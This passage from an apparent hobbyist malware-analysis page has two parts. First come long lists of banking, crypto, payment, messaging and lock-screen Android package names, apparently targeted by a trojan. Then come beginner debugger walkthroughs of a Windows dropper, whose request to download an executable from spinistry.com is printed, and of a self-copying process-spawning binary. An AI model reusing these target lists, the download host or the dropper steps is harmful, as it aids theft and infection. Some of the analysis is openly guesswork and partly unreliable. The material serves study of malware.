  97. com.bitstamp.app
  98. com.cex.app.prod
  99. com.luno.android
  100. com.bitso.wallet
  101. com.mexc.mexcpro
  102. com.bitmex.app
  103. com.phemex.android
  104. com.etoro.wallet
  105. com.etoro.openbook
  106. com.libertex.mobile
  107. com.exness.investor
  108. com.bitget.app
  109. com.bingx.app
  110. com.pionex.app
  111. com.ascendex.app
  112. com.probit.app
  113. com.liquid.app
  114. com.bitmart.app
  115. com.whitebit.app
  116. com.latoken.app
  117. com.coinsbit.app
  118. com.bitbns.app
  119. com.wazirx.app
  120. com.zebpay.app
  121. com.paxful.wallet
  122. com.localbitcoins.app
  123. com.changelly.app
  124. com.changeangel.app
  125. com.shapeshift.droid_shapeshift
  126. com.simpleswap.app
  127. com.swapzone.app
  128. com.stormgain.mobile
  129. com.primexbt.app
  130. com.bitmexgo.app
  131. com.deribit.app
  132. com.cryptofacilities.app
  133. com.delta.exchange
  134. com.btse.app
  135. com.aax.app
  136. com.bitflyer.app
  137. com.zaif.android
  138. com.coincheck.android
  139. com.bithumb.app
  140. com.upbit.exchange
  141. com.korbit.app
  142. com.coinone.android
  143. com.gopax.app
  144. com.indodax.app
  145. com.tokocrypto.app
  146. com.bitcoin.id
  147. com.coinhako.app
  148. com.coins.ph
  149. com.mercadobitcoin.app
  150. com.bitcointrade.app
  151. com.foxbit.app
  152. com.bitkub.app
  153. com.satang.pro
  154. com.btcturk.app
  155. com.paribu.app
  156. com.rain.app
  157. com.bitpanda.app
  158. com.bitvavo.app
  159. com.bitcoin.de
  160. com.litebit.app
  161. com.btcdirect.app
  162. com.coinmama.app
  163. com.coinjar.app
  164. com.coinspot.app
  165. com.btcmarkets.app
  166. com.independentreserve.app
  167. com.swyftx.app
  168. com.uniswap.mobile
  169. com.sushi.mobile
  170. org.pancakeswap.web
  171. com.dydx.mobile
  172. com.aave.mobile
  173. com.compound.mobile
  174. com.defi.wallet
  175. com.celsius.network
  176. com.nexo.wallet
  177. com.blockfi.mobile
  178. com.1inch.wallet
  179. com.curve.mobile
  180. com.balancer.mobile
  181. com.yearn.finance
  182. com.makerdao.mobile
  183. com.synthetix.mobile
  184. com.bancor.wallet
  185. com.kyberswap.android
  186. com.loopring.wallet
  187. com.thorchain.mobile
  188. com.osmosis.mobile
  189. com.raydium.mobile
  190. com.serum.dex
  191. com.orca.mobile
  192. com.quickswap.mobile
  193. com.spookyswap.mobile
  194. com.spiritswap.mobile
  195. com.traderjoe.mobile
  196. com.benqi.mobile
  197. com.venus.protocol
  198. com.alpaca.finance
  199. com.beefy.finance
  200. com.autofarm.network
  201. com.harvest.finance
  202. com.idle.finance
  203. com.cream.finance
  204. com.instadapp.mobile
  205. com.defisaver.app
  206. com.furucombo.app
  207. com.opensea.mobile
  208. com.rarible.mobile
  209. com.niftygateway.mobile
  210. com.superrare.mobile
  211. com.foundation.app
  212. com.makersplace.mobile
  213. com.knownorigin.mobile
  214. com.asyncart.mobile
  215. com.mintable.app
  216. com.zora.mobile
  217. com.magiceden.mobile
  218. com.solanart.app
  219. com.blur.mobile
  220. com.looksrare.mobile
  221. com.x2y2.mobile
  222. com.axieinfinitygame
  223. com.decentraland.mobile
  224. com.sandbox.mobile
  225. com.illuvium.mobile
  226. com.godsunchained.mobile
  227. com.sorare.app
  228. com.cryptokitties.mobile
  229. com.alienworlds.mobile
  230. com.splinterlands.mobile
  231. com.nicehash.mobile
  232. com.minergate.mobile
  233. com.cryptotab.android
  234. com.stormgain.miner
  235. com.honeyminer.mobile
  236. com.kryptex.app
  237. com.stakewise.app
  238. com.lido.mobile
  239. com.rocketpool.mobile
  240. com.blockfolio.blockfolio
  241. com.coinstats.app
  242. com.cointracker.android
  243. com.delta.app
  244. com.coinmarketcap.android
  245. com.coingecko.app
  246. com.cryptocompare.mobile
  247. com.coincodex.app
  248. com.livecoinwatch.app
  249. com.cryptopanic.mobile
  250. com.cryptowat.ch
  251. com.tradingview.tradingviewapp
  252. com.paypal.android
  253. com.cashapp
  254. com.venmo
  255. com.revolut.revolut
  256. com.robinhood.android
  257. com.webull.android
  258. com.sofi.app
  259. com.wirexapp.wirex
  260. com.crypto.visa
  261. com.binance.card
  262. com.bitpay.card
  263. com.coinbase.card
  264. com.nexo.card
  265. com.blockcard.app
  266. com.fold.app
  267. com.spedn.app
  268. com.moon.pay
  269. com.ramp.network
  270. com.transak.app
  271. com.wyre.app
  272. com.banxa.app
  273. com.simplex.app
  274. com.mercuryo.app
  275. com.wellsfargo.ceomobile
  276. com.wf.wellsfargomobile
  277. com.infonow.bofa
  278. com.chase.sig.android
  279. com.schwab.mobile
  280. com.fidelity.investments
  281. com.pnc.ecommerce.mobile
  282. com.konylabs.capitalone
  283. com.chime.prod
  284. com.bmo.mobile
  285. com.citizensbank.androidapp
  286. com.truist.mobile
  287. com.etrade.mobilepro.activity
  288. com.tastytrade.tastytrade
  289. com.vanguard.personalinvestors
  290. com.citi.citimobile
  291. com.usbank.mobilebanking
  292. com.tdbank
  293. com.ally.MobileBanking
  294. com.regions.mobbanking
  295. com.fifththird.mobile
  296. com.key.android
  297. com.huntington.m
  298. com.mtb.mbanking.sc.retail
  299. com.suntrust.mobilebanking
  300. com.bb_t.android
  301. com.zionsbank.zions
  302. com.americanexpress.android.acctsvcs
  303. com.discover.dfs.mobile
  304. com.marcus
  305. com.goldmansachs.gsuam
  306. com.morganstanley.clientserv.mobile
  307. com.jpmorgan.mobile.react
  308. com.bankofthewest.mobile
  309. com.navyfederal.android
  310. com.usaa.mobile.android.usaa
  311. com.pentagon.pfcu
  312. com.td
  313. com.rbc.mobile.android
  314. com.bmo.mobile.banking
  315. com.scotiabank.mobile
  316. ca.tangerine.clients.banking.app
  317. com.cibc.android.mobi
  318. ca.bnc.android
  319. com.desjardins.mobile
  320. com.hsbc.hsbccanada
  321. com.koho
  322. ca.paymi.paymi
  323. com.barclays.android.barclaysmobilebanking
  324. com.lloydsbank.businessmobile
  325. com.grppl.android.shell.halifax
  326. uk.co.santander.santanderUK
  327. uk.co.hsbc.hsbcukmobilebanking
  328. com.natwest.mobile.android.rbs
  329. com.rbs.mobile.android.rbs
  330. uk.co.metrobankonline.mobile
  331. uk.co.tsb.newmobilebank
  332. com.firstdirect.bankingonthego
  333. com.revolut.revolut
  334. com.monzo.android
  335. com.starlingbank.android
  336. de.dkb.portalapp
  337. de.commerzbank.kontostand
  338. com.db.mm.deutschebank
  339. com.ing.mobile
  340. nl.abnamro.nl.mobile.payments
  341. nl.rabomobiel
  342. com.bnpparibas.mescomptes
  343. mobi.societegenerale.mobile.lappli
  344. com.creditagricole.androidapp
  345. com.caisseepargne.android.mobilebanking
  346. es.lacaixa.mobile.android.newwapicon
  347. com.bbva.bbvacontigo
  348. es.santander.money
  349. com.unicredit
  350. com.intesasanpaolo.mobile
  351. ch.ubs.mobileBanking
  352. com.cs.android.creditsuisse
  353. com.n26.n26
  354. com.wirecard.boon.pt
  355. com.transferwise.android
  356. com.bunq.android
  357. com.dbs.sg.dbsmbanking
  358. com.ocbc.mobile
  359. com.uob.mighty
  360. com.StandardCharteredMobileBanking.ng
  361. com.axis.mobile
  362. com.sbi.SBIFreedomPlus
  363. com.icicibank.imobile
  364. com.hdfcbank.hdfcbankmobilebanking
  365. com.kotak.mobile
  366. com.paytm
  367. com.phonepe.app
  368. in.amazon.mShop.android.shopping
  369. com.mobikwik
  370. net.one97.paytm
  371. jp.co.smbc.direct
  372. jp.co.mizuhobank.mizuhodirect
  373. jp.mufg.bk.applisp.app
  374. jp.co.japannetbank.smtapp
  375. jp.co.rakuten_bank.rakutenbank
  376. com.kasikornbank.retail.kplusmbd
  377. com.scb.easy
  378. com.bbl.mobilebanking
  379. com.krungsri.kma
  380. com.tmb.mbanking
  381. au.com.cba.mobile.android
  382. au.com.westpac.mobile
  383. au.com.anz.mobile
  384. au.com.nab.mobile
  385. au.com.bankwest.mobile
  386. au.com.ingdirect.mobile
  387. au.com.suncorp.SuncorpBank
  388. com.macquarie.banking
  389. com.itau
  390. com.bb.mobile
  391. com.bradesco
  392. com.santander.app
  393. com.nu.production
  394. com.picpay
  395. com.mercadopago
  396. com.bancointer
  397. com.c6bank.app
  398. com.bancolombia.app
  399. com.davivienda.app
  400. com.banorte.app
  401. com.banamex.app
  402. com.bbva.mx
  403. com.hsbc.mx
  404. com.robinhood.android
  405. com.webull.android
  406. com.tdameritrade.mobile
  407. com.interactivebrokers.mobile
  408. com.thinkorswim
  409. com.merrilledge.app
  410. com.sofi.app
  411. com.stash.stashapp
  412. com.acorns.android
  413. com.betterment.app
  414. com.wealthfront.app
  415. com.personalcapital.android
  416. com.bloomberg.android.anywhere
  417. com.reuters.mobile
  418. com.moomoo.app
  419. com.public.app
  420. com.m1finance.android
  421. com.dough.app
  422. com.firstrade.firstrade
  423. com.tradestation.mobile
  424. com.lightspeed.mobile
  425. com.ig.android.markets
  426. com.plus500.app
  427. com.cmcmarkets.android.cfd
  428. com.avatrade.mobile
  429. com.forex.forexcom
  430. com.oanda.fxtrade
  431. com.varo.bank
  432. com.current.app
  433. com.dave.banking
  434. com.albert
  435. com.moneylion
  436. com.earnin.app
  437. com.brigit.app
  438. com.empower.app
  439. com.aspiration.app
  440. com.oxygen.app
  441. com.lili.app
  442. com.novo.app
  443. com.bluevine.app
  444. com.mercury.app
  445. com.brex.app

Apps_Packages

Target Packages

  1. org.telegram.messenger
  2. org.telegram.messenger.web
  3. org.telegram.messenger.beta
  4. org.thunderdog.challegram
  5. com.whatsapp
  6. com.whatsapp.w4b
  7. com.discord
  8. com.viber.voip
  9. com.skype.raider
  10. com.facebook.orca
  11. com.facebook.katana
  12. com.instagram.android
  13. com.snapchat.android
  14. com.vkontakte.android
  15. com.twitter.android
  16. com.tiktok.android
  17. com.zhiliaoapp.musically
  18. jp.naver.line.android
  19. com.kakao.talk

LockScreen Packages

  1. “com.android.systemui”
  2. “com.android.keyguard”
  3. “com.android.settings”
  4. “com.android.packageinstaller”
  5. “com.android.settings.intelligence”
  6. “com.google.android.gsf.login”
  7. “com.google.android.packageinstaller”
  8. “com.google.android.apps.wallpaper”
  9. “com.samsung.android.personalpage.service”
  10. “com.samsung.android.settings”
  11. “com.samsung.android.keyguard”
  12. “com.miui.keyguard”
  13. “com.mi.android.keyguard”
  14. “com.xiaomi.keyguard”
  15. “com.miui.securitycenter”
  16. “com.huawei.keyguard”
  17. “com.huawei.systemmanager”
  18. “com.huawei.securitymgr”
  19. “com.oppo.safe”
  20. “com.coloros.keyguard”
  21. “com.coloros.lockscreen”
  22. “com.realme.keyguard”
  23. “com.oneplus.keyguard”
  24. “com.heytap.lockscreen”
  25. “com.oplus.keyguard”
  26. “com.vivo.keyguard”
  27. “com.lge.lockscreen”
  28. “com.sonymobile.keyguard”
  29. “com.asus.keyguard”
  30. “com.motorola.keyguard”
  31. “com.htc.lockscreen”
  32. “com.lenovo.keyguard”
  33. “com.zui.keyguard”

Analyzed for fun

1

File is probably dropper, trying to install dangerous malware from spinistry.com.

The malware has actually a few more steps,, creating a new file to keep running from different directory. All files will be placed on the directory about analysis.

In our case fa132c7ca003a5fd97d96c3b656212802cf70f1735283b05144bdcae03e24894.exe is dropper.

I used Immunity Debugger for this analysis to learn working with it. Also I got screenshot of all instructions after binary is decompressed.

Explanation of instructions

1|1000

0x401035: Handles are used to make sure only 1 process of malware is running, so nothing will go wrong. (If EAX is equal to -1 it will ExitProcess) 0x40104A: HeapCreate and tlAllocateHeap is mostly used for stealth and show the malware as legit software, but I don’t really know the usage in this malware.

1|1000

0x401080: Getting TempPath, such as: “C:\Windows\Users<username>\AppData\Local\Temp”.

0x4010B2: Creates file named “rewok.exe” in Temp directory. (NOTE: rewok.exe is dropper’s copy) In case of success program will continue, else LEAVE.

1|1000

0x4011A5: I guess it opens Temp path.

1|1000 1|1000

0x4011F9 - 0x4012B2 - creates Http request:

  • HTTP Headers
    • Method: GET
    • URI: /wp-share/7eve.exe
    • Version: HTTP/1.1
    • Accept: text/*, application/*
    • User-Agent: Updates downloader
    • Host: spinistry.com
    • Cache-Control: no-cache
    • Transport Layer Protocol: TCP
    • Destination IP: ``
    • Destination port: 443
    • SSL encrypted: Yes
    • Network mode: singlehost

1|1000

If it has success it will ReadFile. (In our case it didn’t, because it is late.)

1|1000

0x40132F: Also, after success File is renamed rewoked.exe.

I guess it was everything about that dropper malware, I will attach all other files i used in analysis.

NOTE: I am new to Malware Analysis so I try to practice a lot to learn, if I make mistakes I would appreciate the help.

2

As I was looking out for new malwares appearing online, i saw another PE32 executable malware and just decided to check it out, this malware was actually pretty simple. The purpose of the malware is use as much resource (RAM, CPU) as possible by copying itself and creating new process of itself. But honestly it was good malware to help me improve myself.

Simple demonstration of malware’s capability:

By just looking at it, it is obvious what type of API calls are made: NtReadFile NtCreateFile NtWriteFile CreateProcessW

When uploading malware to DIE (detect it easy), it shows .text section is packed or compressed. Which is not really our problem because the dangerous part of malware starts at 0x00429EA6. I wouldn’t look at each assembly instruction starting from that address, but at 0x0042A34F things get a little bit interesting. 1|1500

This part writes full path name of malware to data and moves data address to eax, result will be something like that: 1|1000 as you can see x32dbg shows what eax points to at the moment.

In this malware, internal functions within the VBA runtime environment have been called, which sadly didn’t help me a lot, I couldn’t get information about some functions like this one: 1|1000

But one thing I know about this function is, it actually calls NtReadFile, which will copy our malicious binary into heap: (First 4 bytes are file’s handle which was returned by NtOpenFile but I didn’t specify it, as it didn’t matter a lot) 1|1000 As you can see in stack, data will be copied to 0x55C1B0: 1|1000

Later, the malware will create a full name for copying itself into that binary, which I didn’t go deep into the creation process but that’s how it looks: C:\\Users\\eyes\\Desktop\\Malware\\Unicorn-17737.exe

The part we have to check right now is: 0x0042A5DB-0x0042A614. Why? Because this is the part where data will be written into the “full path name” malware created: 1|1000

We have a __vbaPutOwner3 function which will call NtWriteFile, it makes sense as __vbaGetOwner3 called NtReadFile. 1|1000

File handle is 0x210 it was created when NtOpenFile was called (didn’t specify it), Offset is 0x0 Size is 0x75005 (which is whole binary size) and 0x5DC1B0 is heap address where data resides.

Now one last thing is left, CreateProcessW, The call starts from 0x0042A614 to rtcShell which later Creates process. 1|1000

The address is “string data” address of new created binary’s full name: 1|1000

And that’s it, it will create new process and that process will create new one, it will continue forever.